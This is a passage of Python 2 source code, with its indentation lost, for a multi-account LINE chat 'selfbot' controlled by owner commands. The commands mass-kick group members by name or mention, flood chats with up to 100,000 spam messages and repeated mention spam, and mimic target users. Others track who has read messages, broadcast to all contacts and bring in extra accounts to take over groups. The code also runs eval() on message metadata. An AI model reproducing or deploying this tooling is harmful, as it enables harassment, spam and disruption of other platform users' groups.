if wait["lang"] == "JP":
kr1.sendText(msg.to,"Done")
else:
wait['likeOn'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Already")
elif msg.text in ["Simisimi on","Simisimi:on"]:
if msg.from_ in admin:
settings["simiSimi"][msg.to] = True
kr1.sendText(msg.to,"Simi mode On")
elif msg.text in ["Simisimi off","Simisimi:off"]:
if msg.from_ in admin:
settings["simiSimi"][msg.to] = False
kr1.sendText(msg.to,"Simi mode Off")
elif msg.text in ["Autoread on","Read:on"]:
if msg.from_ in admin:
wait['alwayRead'] = True
kr1.sendText(msg.to,"Auto read On")
elif msg.text in ["Autoread off","Read:off"]:
if msg.from_ in admin:
wait['alwayRead'] = False
kr1.sendText(msg.to,"Auto read Off")
elif msg.text in ["Tag on","tag on"]:
if msg.from_ in admin:
wait['detectMention'] = True
kr1.sendText(msg.to,"Auto respon tag On")
elif msg.text in ["Tag off","tag off"]:
if msg.from_ in admin:
wait['detectMention'] = False
kr1.sendText(msg.to,"Auto respon tag Off")
elif msg.text in ["Poto on","poto on"]:
if msg.from_ in admin:
wait['potoMention'] = True
kr1.sendText(msg.to,"Auto respon tag poto On")
elif msg.text in ["Poto off","poto off"]:
if msg.from_ in admin:
wait['potoMention'] = False
kr1.sendText(msg.to,"Auto respon tag poto Off")
elif msg.text in ["Tag2 on","tag2 on"]:
if msg.from_ in admin:
wait['kickMention'] = True
kr1.sendText(msg.to,"Auto Kick tag ON")
elif msg.text in ["Tag2 off","tag2 off"]:
if msg.from_ in admin:
wait['kickMention'] = False
kr1.sendText(msg.to,"Auto Kick tag OFF")
elif "Time" in msg.text:
if msg.toType == 2:
kr1.sendText(msg.to,datetime.today().strftime('%H:%M:%S'))
#==============================================================================#
elif msg.text in ["Sambut on","sambut on"]:
if msg.from_ in admin:
if wait["Wc"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"noтιғ yg joιn on")
else:
wait["Wc"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"already on")
elif msg.text in ["Sambut off","sambut off"]:
if msg.from_ in admin:
if wait["Wc"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"noтιғ yg joιn oғғ")
else:
wait["Wc"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"already oғғ")
#==============================================================================#
elif msg.text in ["Pergi on","pergi on"]:
if msg.from_ in admin:
if wait["Lv"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"noтιғ yg leave on")
else:
wait["Lv"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"already on")
elif msg.text in ["Pergi off","pergi off"]:
if msg.from_ in admin:
if wait["Lv"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"noтιғ yg leave oғғ")
else:
wait["Lv"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"already oғғ")
#==============================================================================#
elif "Dadas" in msg.text:
if msg.from_ in owner:
if msg.toType == 2:
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Dadas","")
gs = kr1.getGroup(msg.to)
gs = kr2.getGroup(msg.to)
gs = kr3.getGroup(msg.to)
gs = kr4.getGroup(msg.to)
kr1.sendText(msg.to,"Jangan panik, santai aja ya ô")
kr2.sendText(msg.to,"Group di bersihkan...!!")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Tidak di temukan")
kr2.sendText(msg.to,"Tidak di temukan")
else:
for target in targets:
try:
klist=[kr1,kr2,kr3,kr4]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
kr1.sendText(msg.to,"Group Bersih")
kr2.sendText(msg.to,"Group Bersih")
elif msg.text in ["Salam1"]:
kr1.sendText(msg.to,"السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
kr2.sendText(msg.to,"Assalamu'alaikum")
elif msg.text in ["Salam2"]:
kr1.sendText(msg.to,"وَعَلَيْكُمْ السَّلاَمُرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
kr2.sendText(msg.to,"Wa'alaikumsallam.Wr,Wb")
elif "Salam3" in msg.text:
if msg.from_ in owner:
kr1.sendText(msg.to,"السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
kr2.sendText(msg.to,"Assalamu'alaikum")
kr3.sendText(msg.to,"وَعَلَيْكُمْ السَّلاَمُ وَرَحْمَةُ اللهِوَبَرَكَاتُهُ")
kr4.sendText(msg.to,"Wa'alaikumsallam.Wr,Wb")
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Salam3","")
gs = kr1.getGroup(msg.to)
gs = kr2.getGroup(msg.to)
gs = kr3.getGroup(msg.to)
gs = kr4.getGroup(msg.to)
kr1.sendText(msg.to,"maaf kalo gak sopan")
kr2.sendText(msg.to,"Qo salamnya gak ada yang jawab ya..!!")
kr3.sendText(msg.to,"hehehhehe")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Tidak di temukan")
else:
for target in targets:
if target not in admin:
try:
klist=[kr1,kr2,kr3,kr4]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
kr1.sendText(msg.to,"السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
kr2.sendText(msg.to,"وَعَلَيْكُمْ السَّلاَمُ وَرَحْمَةُ اللهِوَبَرَكَاتُهُ")
kr3.sendText(msg.to,"Nah salamnya jawab sendiri jadinya wkwkwk..!!")
elif ("Kick " in msg.text):
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"] [0] ["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
kr1.kickoutFromGroup(msg.to,[target])
except:
kr1.sendText(msg.to,"Error")
elif ("Cium " in msg.text):
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"] [0] ["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
kr1.kickoutFromGroup(msg.to,[target])
kr1.inviteIntoGroup(msg.to,[target])
kr1.cancelGroupInvitation(msg.to,[target])
except:
kr1.sendText(msg.to,"Error")
# elif "Tajong " in msg.text:
# if msg.from_ in admin:
# nk0 = msg.text.replace("Tajong ","")
# nk1 = nk0.lstrip()
# nk2 = nk1.replace("@","")
# nk3 = nk2.rstrip()
# _name = nk3
# gs = kr1.getGroup(msg.to)
# ginfo = kr1.getGroup(msg.to)
# gs.preventJoinByTicket = False
# kr1.updateGroup(gs)
# invsend = 0
# Ticket = kr1.reissueGroupTicket(msg.to)
# kr6.acceptGroupInvitationByTicket(msg.to,Ticket)
# time.sleep(0.01)
# targets = []
# for s in gs.members:
# if _name in s.displayName:
# targets.append(s.mid)
# if targets == []:
# sendMessage(msg.to,"user does not exist")
# pass
# else:
# for target in targets:
# try:
# kr6.kickoutFromGroup(msg.to,[target])
# print (msg.to,[g.mid])
# except:
# kr6.leaveGroup(msg.to)
# gs = kr1.getGroup(msg.to)
# gs.preventJoinByTicket = True
# kr1.updateGroup(gs)
# gs.preventJoinByTicket(gs)
# kr1.updateGroup(gs)
elif "Kick: " in msg.text:
if msg.from_ in admin:
midd = msg.text.replace("Kick: ","")
kr1.kickoutFromGroup(msg.to,[midd])
elif 'invite ' in msg.text.lower():
if msg.from_ in admin:
key = msg.text[-33:]
kr1.findAndAddContactsByMid(key)
kr1.inviteIntoGroup(msg.to, [key])
contact = kr1.getContact(key)
elif msg.text.lower() == 'cancel':
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
if group.invitee is not None:
gInviMids = [contact.mid for contact in group.invitee]
kr1.cancelGroupInvitation(msg.to, gInviMids)
else:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Tidak ada undangan")
else:
kr1.sendText(msg.to,"Invitan tidak ada")
else:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Tidak ada undangan")
else:
kr1.sendText(msg.to,"Invitan tidak ada")
elif msg.text.lower() == 'link on':
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
group.preventJoinByTicket = False
kr1.updateGroup(group)
if wait["lang"] == "JP":
kr1.sendText(msg.to,"URL open")
else:
kr1.sendText(msg.to,"URL open")
else:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"It can not be used outside the group")
else:
kr1.sendText(msg.to,"Can not be used for groups other than")
elif msg.text.lower() == 'link off':
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
group.preventJoinByTicket = True
kr1.updateGroup(group)
if wait["lang"] == "JP":
kr1.sendText(msg.to,"URL close")
else:
kr1.sendText(msg.to,"URL close")
else:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"It can not be used outside the group")
else:
kr1.sendText(msg.to,"Can not be used for groups other than")
elif msg.text in ["Url","Gurl"]:
if msg.from_ in admin:
if msg.toType == 2:
g = kr1.getGroup(msg.to)
if g.preventJoinByTicket == True:
g.preventJoinByTicket = False
kr1.updateGroup(g)
gurl = kr1.reissueGroupTicket(msg.to)
kr1.sendText(msg.to,"line://ti/g/" + gurl)
elif "Gcreator" == msg.text:
try:
group = kr1.getGroup(msg.to)
GS = group.creator.mid
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': GS}
kr1.sendMessage(M)
except:
W = group.members[0].mid
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': W}
kr1.sendMessage(M)
kr1.sendText(msg.to,"Creator Grup")
elif msg.text.lower() == 'invite:gcreator':
if msg.from_ in admin:
if msg.toType == 2:
ginfo = kr1.getGroup(msg.to)
try:
gcmid = ginfo.creator.mid
except:
gcmid = "Error"
if wait["lang"] == "JP":
kr1.inviteIntoGroup(msg.to,[gcmid])
else:
kr1.inviteIntoGroup(msg.to,[gcmid])
elif ("Gname: " in msg.text):
if msg.from_ in admin:
if msg.toType == 2:
X = kr1.getGroup(msg.to)
X.name = msg.text.replace("Gname: ","")
kr1.updateGroup(X)
elif msg.text.lower() == 'infogrup':
if msg.from_ in admin:
group = kr1.getGroup(msg.to)
try:
gCreator = group.creator.displayName
except:
gCreator = "Error"
md = "[Nama Grup : ]\n" + group.name + "\n\n[Id Grup : ]\n" + group.id + "\n\n[Pembuat Grup :]\n" + gCreator + "\n\n[Gambar Grup : ]\nhttp://dl.profile.line-cdn.net/" + group.pictureStatus
if group.preventJoinByTicket is False: md += "\n\nKode Url : Diizinkan"
else: md += "\n\nKode Url : Diblokir"
if group.invitee is None: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : 0 Orang"
else: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : " + str(len(group.invitee)) + " Orang"
kr1.sendText(msg.to,md)
elif msg.text.lower() == 'grup id':
if msg.from_ in owner:
gid = kr1.getGroupIdsJoined()
h = ""
for i in gid:
h += "[%s]:%s\n" % (kr1.getGroup(i).name,i)
kr1.sendText(msg.to,h)
#==============================================================================#
elif msg.text in ["Glist"]:
if msg.from_ in admin:
gid = kr1.getGroupIdsJoined()
h = ""
for i in gid:
h += "%s\n" % (kr1.getGroup(i).name +" ? ["+str(len(kr1.getGroup(i).members))+"]")
kr1.sendText(msg.to,"-- List Groups --\n\n"+ h +"\nTotal groups =" +" ["+str(len(gid))+"]")
elif msg.text.lower() == 'gcancel':
if msg.from_ in admin:
gid = kr1.getGroupIdsInvited()
for i in gid:
kr1.rejectGroupInvitation(i)
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Aku menolak semua undangan")
else:
kr1.sendText(msg.to,"He declined all invitations")
elif "Auto add" in msg.text:
if msg.from_ in admin:
thisgroup = kr1.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
kr1.findAndAddContactsByMids(mi_d)
kr1.sendText(msg.to,"Success Add all")
elif "Admin add @" in msg.text:
if msg.from_ in owner:
print "[Command]Staff add executing"
_name = msg.text.replace("Admin add @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
gs = kr2.getGroup(msg.to)
gs = kr3.getGroup(msg.to)
gs = kr4.getGroup(msg.to)
gs = kr5.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
random.choice(KAC).sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
admin.append(target)
kr1.sendText(msg.to,"Admin Ditambahkan")
except:
pass
print "[Command]Staff add executed"
else:
kr1.sendText(msg.to,"Perintah Ditolak.")
kr1.sendText(msg.to,"Hanya Owner Yang bisa Gunain Perintah ini.")
elif "Admin remove @" in msg.text:
if msg.from_ in owner:
print "[Command]Staff remove executing"
_name = msg.text.replace("Admin remove @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
gs = kr2.getGroup(msg.to)
gs = kr3.getGroup(msg.to)
gs = kr4.getGroup(msg.to)
gs = kr5.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
random.choice(KAC).sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
admin.remove(target)
kr1.sendText(msg.to,"Admin Dihapus")
except:
pass
print "[Command]Staff remove executed"
else:
kr1.sendText(msg.to,"Perintah Ditolak.")
kr1.sendText(msg.to,"Hanya Owner Yang bisa Gunain Perintah ini.")
elif msg.text in ["Adminlist","adminlist"]:
if admin == []:
kr1.sendText(msg.to,"The stafflist is empty")
else:
kr1.sendText(msg.to,"Tunggu...")
mc = "╔═════════════\n║Admin ✰ -[✭]-Ⓣ-Ⓗ-Ⓘ-Ⓡ-Ⓓ-[✭]- ✰\n╠═════════════\n"
for mi_d in admin:
mc += "║••>" +kr1.getContact(mi_d).displayName + "\n╠═════════════\n"
kr1.sendText(msg.to,mc)
print "[Command]Stafflist executed"
elif msg.text in ["มา","Kris","."]: #Panggil Semua Bot
if msg.from_ in owner:
G = kr1.getGroup(msg.to)
ginfo = kr1.getGroup(msg.to)
G.preventJoinByTicket = False
kr1.updateGroup(G)
invsend = 0
Ticket = kr1.reissueGroupTicket(msg.to)
kr2.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
kr3.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
kr4.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
kr5.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
G = kr1.getGroup(msg.to)
ginfo = kr1.getGroup(msg.to)
G.preventJoinByTicket = True
kr1.updateGroup(G)
kr5.sendText(msg.to,"Hallo...!!! " + str(ginfo.name) + "\n\nSemoga Selalu Bahagia...!!!")
print "Semua Sudah Lengkap"
elif "Kabur all" in msg.text:#keluar semua bots
if msg.from_ in owner:
if msg.toType == 2:
ginfo = kr1.getGroup(msg.to)
ginfo = kr2.getGroup(msg.to)
ginfo = kr3.getGroup(msg.to)
ginfo = kr4.getGroup(msg.to)
ginfo = kr5.getGroup(msg.to)
try:
kr1.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nJangan Lupa Bahagia...!!!")
kr2.leaveGroup(msg.to)
kr3.leaveGroup(msg.to)
kr4.leaveGroup(msg.to)
kr5.leaveGroup(msg.to)
kr1.leaveGroup(msg.to)
except:
pass
elif "Bot bye" in msg.text:#keluar bot kecuali bot induk
if msg.from_ in owner:
if msg.toType == 2:
ginfo = kr1.getGroup(msg.to)
ginfo = kr2.getGroup(msg.to)
ginfo = kr3.getGroup(msg.to)
ginfo = kr4.getGroup(msg.to)
ginfo = kr5.getGroup(msg.to)
try:
kr2.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nกูไปเองก้อได้...!!!")
kr3.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nกูไปเองก้อได้...!!!")
kr4.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nกูไปเองก้อได้...!!!")
kr5.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nกูไปเองก้อได้...!!!")
kr2.leaveGroup(msg.to)
kr3.leaveGroup(msg.to)
kr4.leaveGroup(msg.to)
kr5.leaveGroup(msg.to)
#kr1.leaveGroup(msg.to)
except:
pass
#==============================================================================#
elif "cipok" == msg.text.lower():
if msg.from_ in admin:
group = kr1.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama)
if jml <= 100:
summon(msg.to, nama)
if jml > 100 and jml < 200:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, len(nama)-1):
nm2 += [nama[j]]
summon(msg.to, nm2)
if jml > 200 and jml < 500:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, 399):
nm4 += [nama[l]]
summon(msg.to, nm4)
for m in range(400, len(nama)-1):
nm5 += [nama[m]]
summon(msg.to, nm5)
if jml > 500:
print "Terlalu Banyak Men 500+"
cnt = Message()
cnt.text = "Jumlah:\n" + str(jml) + " Members"
cnt.to = msg.to
kr1.sendMessage(cnt)
elif "crot" == msg.text.lower():
if msg.from_ in admin:
group = kr1.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama)
if jml <= 100:
summon(msg.to, nama)
if jml > 100 and jml < 200:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, len(nama)-1):
nm2 += [nama[j]]
summon(msg.to, nm2)
if jml > 200 and jml < 500:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, 399):
nm4 += [nama[l]]
summon(msg.to, nm4)
for m in range(400, len(nama)-1):
nm5 += [nama[m]]
summon(msg.to, nm5)
if jml > 500:
print "Terlalu Banyak Men 500+"
cnt = Message()
cnt.text = "Jumlah:\n" + str(jml) + " Members"
cnt.to = msg.to
kr1.sendMessage(cnt)
elif "cctv on" == msg.text.lower():
if msg.from_ in admin:
if msg.to in wait2['readPoint']:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
kr1.sendText(msg.to,"Setpoint already on")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
kr1.sendText(msg.to, "Set reading point:\n" + datetime.now().strftime('%H:%M:%S'))
print wait2
elif "cctv off" == msg.text.lower():
if msg.from_ in admin:
if msg.to not in wait2['readPoint']:
kr1.sendText(msg.to,"Setpoint already off")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
kr1.sendText(msg.to, "Delete reading point:\n" + datetime.now().strftime('%H:%M:%S'))
elif msg.text in ["toong","Toong"]:
if msg.from_ in admin:
if msg.toType == 2:
print "\nRead aktif..."
if msg.to in wait2['readPoint']:
if wait2['ROM'][msg.to].items() == []:
chiya = ""
else:
chiya = ""
for rom in wait2['ROM'][msg.to].items():
print rom
chiya += rom[1] + "\n"
kr1.sendText(msg.to, "╔═════════════ \n╠❂➣Sider :\n╠═════════════ %s\n╠\n╠═════════════\n╠❂➣Reader :\n╠═════════════ %s\n╠\n╠═════════════\n╠In the last seen point:\n╠[%s]\n╚═════════════" % (wait2['readMember'][msg.to],chiya,setTime[msg.to]))
print "\nReading Point Set..."
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.today().strftime('%Y-%m-%d %H:%M:%S')
wait2['ROM'][msg.to] = {}
print "toong ready"
kr1.sendText(msg.to, "Auto Read Point!!" + (wait2['setTime'][msg.to]))
else:
kr1.sendText(msg.to, "Ketik [Cctv on] dulu, baru ketik [Toong]")
elif "intip" == msg.text.lower():
if msg.from_ in admin:
if msg.to in wait2['readPoint']:
if wait2['ROM'][msg.to].items() == []:
kr1.sendText(msg.to, "Reader:\nNone")
else:
chiya = []
for rom in wait2['ROM'][msg.to].items():
chiya.append(rom[1])
cmem = kr1.getContacts(chiya)
zx = ""
zxc = ""
zx2 = []
xpesan = ''
for x in range(len(cmem)):
xname = str(cmem[x].displayName)
pesan = ''
pesan2 = pesan+"@a\n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':cmem[x].mid}
zx2.append(zx)
zxc += pesan2
msg.contentType = 0
print zxc
msg.text = xpesan+ zxc + "\nBefore: %s\nAfter: %s"%(wait2['setTime'][msg.to],datetime.now().strftime('%H:%M:%S'))
lol ={"MENTION":str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}
print lol
msg.contentMetadata = lol
try:
kr1.sendMessage(msg)
except Exception as error:
print error
pass
else:
kr1.sendText(msg.to, "Lurking has not been set.")
elif "Gbroadcast: " in msg.text:
if msg.from_ in owner:
bc = msg.text.replace("Gbroadcast: ","")
gid = kr1.getGroupIdsJoined()
for i in gid:
kr1.sendText(i, bc)
elif "Cbroadcast: " in msg.text:
if msg.from_ in owner:
bc = msg.text.replace("Cbroadcast: ","")
gid = kr1.getAllContactIds()
for i in gid:
kr1.sendText(i, bc)
elif "Spam change: " in msg.text:
if msg.from_ in admin:
wait['spam'] = msg.text.replace("Spam change: ","")
kr1.sendText(msg.to,"spam changed")
elif "Spam add: " in msg.text:
if msg.from_ in admin:
wait['spam'] = msg.text.replace("Spam add: ","")
if wait["lang"] == "JP":
kr1.sendText(msg.to,"spam changed")
else:
kr1.sendText(msg.to,"Done")
elif "Spam: " in msg.text:
if msg.from_ in admin:
strnum = msg.text.replace("Spam: ","")
num = int(strnum)
for var in range(0,num):
kr1.sendText(msg.to, wait['spam'])
elif "Spamtag @" in msg.text:
if msg.from_ in admin:
_name = msg.text.replace("Spamtag @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
xname = g.displayName
xlen = str(len(xname)+1)
msg.contentType = 0
msg.text = "@"+xname+" "
msg.contentMetadata ={"MENTION":'{"MENTIONEES":[{"S":"0","E":'+json.dumps(xlen)+',"M":'+json.dumps(g.mid)+'}]}','EMTVER':'4'}
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
else:
pass
elif "spam" in msg.text:
if msg.from_ in admin:
txt = msg.text.split(" ")
jmlh = int(txt[2])
teks = msg.text.replace("Spam "+str(txt[1])+" "+str(jmlh)+" ","")
tulisan = jmlh * (teks+"\n")
if txt[1] == "on":
if jmlh <= 100000:
for x in range(jmlh):
kr1.sendText(msg.to, teks)
else:
kr1.sendText(msg.to, "Out of Range!")
elif txt[1] == "off":
if jmlh <= 100000:
kr1.sendText(msg.to, tulisan)
else:
kr1.sendText(msg.to, "Out Of Range!")
elif ("Micadd " in msg.text):
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
mimic["target"][target] = True
kr1.sendText(msg.to,"Target ditambahkan!")
break
except:
kr1.sendText(msg.to,"Fail !")
break
elif ("Micdel " in msg.text):
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
del mimic["target"][target]
kr1.sendText(msg.to,"Target dihapuskan!")
break
except:
kr1.sendText(msg.to,"Fail !")
break
elif msg.text in ["Miclist"]:
if msg.from_ in admin:
if mimic["target"] == {}:
kr1.sendText(msg.to,"nothing")
else:
mc = "Target mimic user\n"
for mi_d in mimic["target"]:
mc += "?? "+kr1.getContact(mi_d).displayName + "\n"
kr1.sendText(msg.to,mc)
elif "Mimic target " in msg.text:
if msg.from_ in admin:
if mimic["copy"] == True:
siapa = msg.text.replace("Mimic target ","")
if siapa.rstrip(' ') == "me":
mimic["copy2"] = "me"
kr1.sendText(msg.to,"Mimic change to me")
elif siapa.rstrip(' ') == "target":
mimic["copy2"] = "target"
kr1.sendText(msg.to,"Mimic change to target")
else:
kr1.sendText(msg.to,"I dont know")
elif "Mimic " in msg.text:
if msg.from_ in admin:
cmd = msg.text.replace("Mimic ","")
if cmd == "on":
if mimic["status"] == False:
mimic["status"] = True
kr1.sendText(msg.to,"Reply Message on")
else:
kr1.sendText(msg.to,"Sudah on")
elif cmd == "off":
if mimic["status"] == True:
mimic["status"] = False
kr1.sendText(msg.to,"Reply Message off")
else:
kr1.sendText(msg.to,"Sudah off")
elif "Setimage: " in msg.text:
if msg.from_ in admin:
wait['pap'] = msg.text.replace("Setimage: ","")
kr1.sendText(msg.to, "Pap telah di Set")
elif msg.text in ["Papimage","Papim",'pap']:
if msg.from_ in admin:
kr1.sendImageWithURL(msg.to,wait['pap'])
elif "Setvideo: " in msg.text:
if msg.from_ in admin:
wait['pap'] = msg.text.replace("Setvideo: ","")
kr1.sendText(msg.to,"Video Has Ben Set To")
elif msg.text in ["Papvideo","Papvid"]:
if msg.from_ in admin:
kr1.sendVideoWithURL(msg.to,wait['pap'])
elif "TL:" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
tl_text = msg.text.replace("TL:","")
kr1.sendText(msg.to,"line://home/post?userMid="+mid+"&postId="+kr1.new_post(tl_text)["result"]["post"]["postInfo"]["postId"])
#==============================================================================#
elif msg.text.lower() == 'mymid':
kr1.sendText(msg.to,mid)
elif "Timeline: " in msg.text:
if msg.from_ in admin:
tl_text = msg.text.replace("Timeline: ","")
kr1.sendText(msg.to,"line://home/post?userMid="+mid+"&postId="+kr1.new_post(tl_text)["result"]["post"]["postInfo"]["postId"])
elif "Namebot: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr1.getProfile()
profile.displayName = string
kr1.updateProfile(profile)
kr1.sendText(msg.to,"Changed " + string + "")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr2.getProfile()
profile.displayName = string
kr2.updateProfile(profile)
kr2.sendText(msg.to,"Changed " + string + "")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr3.getProfile()
profile.displayName = string
kr3.updateProfile(profile)
kr3.sendText(msg.to,"Changed " + string + "")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr4.getProfile()
profile.displayName = string
kr4.updateProfile(profile)
kr4.sendText(msg.to,"Changed " + string + "")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr5.getProfile()
profile.displayName = string
kr5.updateProfile(profile)
kr5.sendText(msg.to,"Changed " + string + "")
elif "Namebot1: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot1: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr1.getProfile()
profile.displayName = string
kr1.updateProfile(profile)
kr1.sendText(msg.to,"Changed " + string + "")
elif "Namebot2: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot2: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr2.getProfile()
profile.displayName = string
kr2.updateProfile(profile)
kr2.sendText(msg.to,"Changed " + string + "")
elif "Namebot3: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot3: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr3.getProfile()
profile.displayName = string
kr3.updateProfile(profile)
kr3.sendText(msg.to,"Changed " + string + "")
elif "Namebot4: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot4: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr4.getProfile()
profile.displayName = string
kr4.updateProfile(profile)
kr4.sendText(msg.to,"Changed " + string + "")
elif "Namebot5: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Namebot5: ","")
if len(string.decode('utf-8')) <= 10000000000:
profile = kr5.getProfile()
profile.displayName = string
kr5.updateProfile(profile)
kr5.sendText(msg.to,"Changed " + string + "")
elif "Biobot: " in msg.text:
if msg.from_ in owner:
string = msg.text.replace("Biobot: ","")
if len(string.decode('utf-8')) <= 10000000000:
